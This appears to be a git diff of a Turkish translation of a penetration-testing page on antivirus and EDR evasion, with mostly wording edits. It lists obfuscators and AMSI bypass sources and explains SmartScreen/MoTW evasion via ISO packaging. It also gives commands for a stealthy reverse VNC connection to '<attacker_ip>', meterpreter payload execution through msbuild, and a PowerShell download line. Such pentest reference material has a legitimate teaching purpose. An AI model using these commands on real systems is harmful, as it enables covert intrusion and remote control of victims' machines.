Lütfen daha ayrıntılı bir açıklama için [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) adresini okuyun.
@ -232,21 +232,21 @@ Lütfen daha ayrıntılı bir açıklama için [https://rastamouse.me/memory-pat
Powershell ile AMSI'yi atlatmak için kullanılan birçok başka teknik de vardır, bunlar hakkında daha fazla bilgi edinmek için [**bu sayfayı**](basic-powershell-for-pentesters/#amsi-bypass) ve [bu repoyu](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kontrol edin.
Ya da bu bellek yaması aracılığıyla her yeni Powersh'i yamanlayacak bir script.
Ya da bu script, bellek yamanması yoluyla her yeni Powersh'i yamanlayacaktır.
## Obfuscation
**C# düz metin kodunu obfuscate etmek**, ikili dosyaları derlemek için **metaprogramming şablonları** oluşturmak veya **derlenmiş ikili dosyaları obfuscate etmek** için kullanılabilecek birkaç araç vardır:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [kod obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) ve değiştirilmezlik sağlamak için [LLVM](http://www.llvm.org/) derleme paketininık kaynaklı bir çatalını sağlamaktır.
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [kod obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) ve değiştirilmezlik sağlamak için yazılım güvenliğini artırabilen açık kaynaklı bir [LLVM](http://www.llvm.org/) derleme paketinin bir çatalını sağlamaktır.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator, `C++11/14` dilini kullanarak, derleme zamanında, herhangi bir dış araç kullanmadan ve derleyiciyi değiştirmeden obfuscate edilmiş kod oluşturmayı gösterir.
* [**obfy**](https://github.com/fritzone/obfy): Uygulamayı kırmak isteyen kişinin işini biraz daha zorlaştıracak C++ şablon metaprogramlama çerçevesi tarafından üretilen obfuscate edilmiş işlemler katmanı ekler.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz, .exe, .dll, .sys gibi çeşitli farklı pe dosyalarını obfuscate edebilen bir x64 ikili obfuscator'dır.
* [**metame**](https://github.com/a0rtega/metame): Metame, keyfi yürütülebilir dosyalar için basit bir metamorfik kod motorudur.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator, ROP (return-oriented programming) kullanarak LLVM destekli diller için ince taneli kod obfuscation çerçevesidir. ROPfuscator, normal kontrol akışının doğal kavramını engelleyerek, normal talimatları ROP zincirlerine dönüştürerek bir programı montaj kodu seviyesinde obfuscate eder.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator, ROP (return-oriented programming) kullanan LLVM destekli diller için ince taneli bir kod obfuscation çerçevesidir. ROPfuscator, normal kontrol akışının doğal kavramını engelleyerek, normal talimatları ROP zincirlerine dönüştürerek bir programı montaj kodu seviyesinde obfuscate eder.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt, Nim dilinde yazılmış bir .NET PE Crypter'dır.
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürebilir ve ardından bunları yükler.
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürebilir ve ardından bunları yükleyebilir.
## SmartScreen & MoTW
@ -256,17 +256,17 @@ Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uy
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen esasen bir itibar temelli yaklaşım ile çalışır, bu da alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklanarak çalıştırılabilir).
SmartScreen esasen bir itibar temelli yaklaşım ile çalışır; bu, alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklanarak çalıştırılabilir).
**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan Zone.Identifier adlı bir [NTFS Alternatif Veri Akışı](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))dır.
**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan Zone.Identifier adlı bir [NTFS Alternatif Veri Akışı](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))dır ve indirildiği URL ile birlikte gelir.
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>İnternetten indirilen bir dosya için Zone.Identifier ADS'yi kontrol etme.</p></figcaption></figure>
{% hint style="info" %}
Güvenilir bir imzalama sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir.
**Güvenilir** bir imza sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir.
{% endhint %}
Payload'larınızın Mark of The Web'i almasını önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **non NTFS** hacimlere **uygulanamayacağı** için olur.
Payload'larınızın Mark of The Web'den etkilenmesini önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **non NTFS** hacimlere **uygulanamayacağı** için gerçekleşir.
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
@ -302,13 +302,13 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
C# ikili dosyalarını belleğe yüklemek bir süredir bilinmektedir ve AV tarafından yakalanmadan post-exploitation araçlarınızı çalıştırmanın çok iyi bir yoludur.
Payload doğrudan belleğe yüklenip diske dokunulmayacağı için, tüm süreç için AMSI'yi yamanmakla ilgili endişelenmemiz gerekecek.
Payload doğrudan belleğe yüklenip diske dokunulmayacağı için, tüm süreç için AMSI'yi yamanmakla endişelenmemiz gerekecek.
Çoğu C2 framework'ü (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sunmaktadır, ancak bunu yapmanın farklı yolları vardır:
* **Fork\&Run**
Bu, **yeni bir fedai süreç oluşturmayı** içerir, post-exploitation kötü niyetli kodunuzu o yeni sürece enjekte eder, kötü niyetli kodunuzu çalıştırır ve işiniz bittiğinde yeni süreci öldürür. Bunun hem avantajları hem de dezavantajları vardır. Fork ve çalıştırma yönteminin avantajı, yürütmenin **Beacon implant sürecimizin dışında** gerçekleşmesidir. Bu, post-exploitation eylemimizde bir şeyler ters giderse veya yakalanırsa, **implantımızın hayatta kalma şansının çok daha yüksek** olduğu anlamına gelir. Dezavantajı ise **Davranışsal Tespitler** tarafından yakalanma şansınızın **daha yüksek** olmasıdır.
Bu, **yeni bir fedai süreç oluşturmayı** içerir, post-exploitation kötü niyetli kodunuzu o yeni sürece enjekte eder, kötü niyetli kodunuzu çalıştırır ve işiniz bittiğinde yeni süreci öldürür. Bunun hem avantajları hem de dezavantajları vardır. Fork ve çalıştırma yönteminin avantajı, yürütmenin **dışında** Beacon implant sürecimizde gerçekleşmesidir. Bu, post-exploitation eylemimizde bir şeyler ters giderse veya yakalanırsa, **implantımızın hayatta kalma şansının çok daha yüksek** olduğu anlamına gelir. Dezavantajı ise **Davranışsal Tespitler** tarafından yakalanma şansınızın **daha yüksek** olmasıdır.
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
@ -342,7 +342,7 @@ Daha Gelişmiş Kaçış tekniklerine giriş yapmak için [@ATTL4S](https://twit
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
Bu da [@mariuszbit](https://twitter.com/mariuszbit) tarafından yapılan Derinlikte Kaçış hakkında başka bir harika konuşmadır.
Bu da [@mariuszbit](https://twitter.com/mariuszbit) tarafından Kaçış Derinliği hakkında yapılan başka bir harika konuşmadır.
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
@ -359,7 +359,7 @@ Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
**Başlat**mak için sistem açıldığında ve **şimdi çalıştır**mak için:
**Başlat**ıldığında sistem açıldığında ve **şimdi çalıştır**:
```bash
sc config TlntSVR start= auto obj= localsystem
```
@ -375,20 +375,20 @@ Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.
**HOST'TA**: _**winvnc.exe**_ dosyasını çalıştırın ve sunucuyu yapılandırın:
* _Disable TrayIcon_ seçeneğini etkinleştirin
* _VNC Password_ kısmına bir şifre belirleyin
* _View-Only Password_ kısmına bir şifre belirleyin
* _VNC Password_ kısmına bir şifre girin
* _View-Only Password_ kısmına bir şifre girin
Ardından, ikili _**winvnc.exe**_ ve **yeni** oluşturulan _**UltraVNC.ini**_ dosyasını **kurbanın** içine taşıyın.
#### **Ters bağlantı**
**Saldırgan**, kendi **host'unda** `vncviewer.exe -listen 5900` ikilisini çalıştırmalı, böylece ters **VNC bağlantısını** yakalamaya **hazır** olacaktır. Ardından, **kurban** içinde: winvnc daemon'ını `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect <saldırgan_ip>::5900` komutunu çalıştırın.
**Saldırgan**, kendi **host'unda** `vncviewer.exe -listen 5900` ikilisini çalıştırmalı, böylece ters **VNC bağlantısını** yakalamaya **hazır** olacaktır. Ardından, **kurban** içinde: winvnc daemon'ını `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` komutunu çalıştırın.
**UYARI:** Gizliliği korumak için bazı şeyleri yapmamalısınız
* `winvnc` zaten çalışıyorsa başlatmayın, aksi takdirde bir [popup](https://i.imgur.com/1SROTTl.png) tetiklersiniz. Çalışıp çalışmadığını `tasklist | findstr winvnc` ile kontrol edin
* Aynı dizinde `UltraVNC.ini` olmadan `winvnc` başlatmayın, aksi takdirde [konfigürasyon penceresi](https://i.imgur.com/rfMQWcf.png) açılır
* Yardım için `winvnc -h` komutunu çalıştırmayın, aksi takdirde bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz
* Yardım için `winvnc -h` çalıştırmayın, aksi takdirde bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz
### GreatSCT
@ -410,7 +410,7 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Şimdi **lister'ı başlatın** `msfconsole -r file.rc` ile ve **xml yükünü çalıştırın**:
Şimdi **lister'ı başlatın** `msfconsole -r file.rc` ile ve **xml yükünü** şu şekilde **çalıştırın**:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
@ -521,7 +521,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
C# obfuscator listesi: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
@ -569,9 +569,9 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}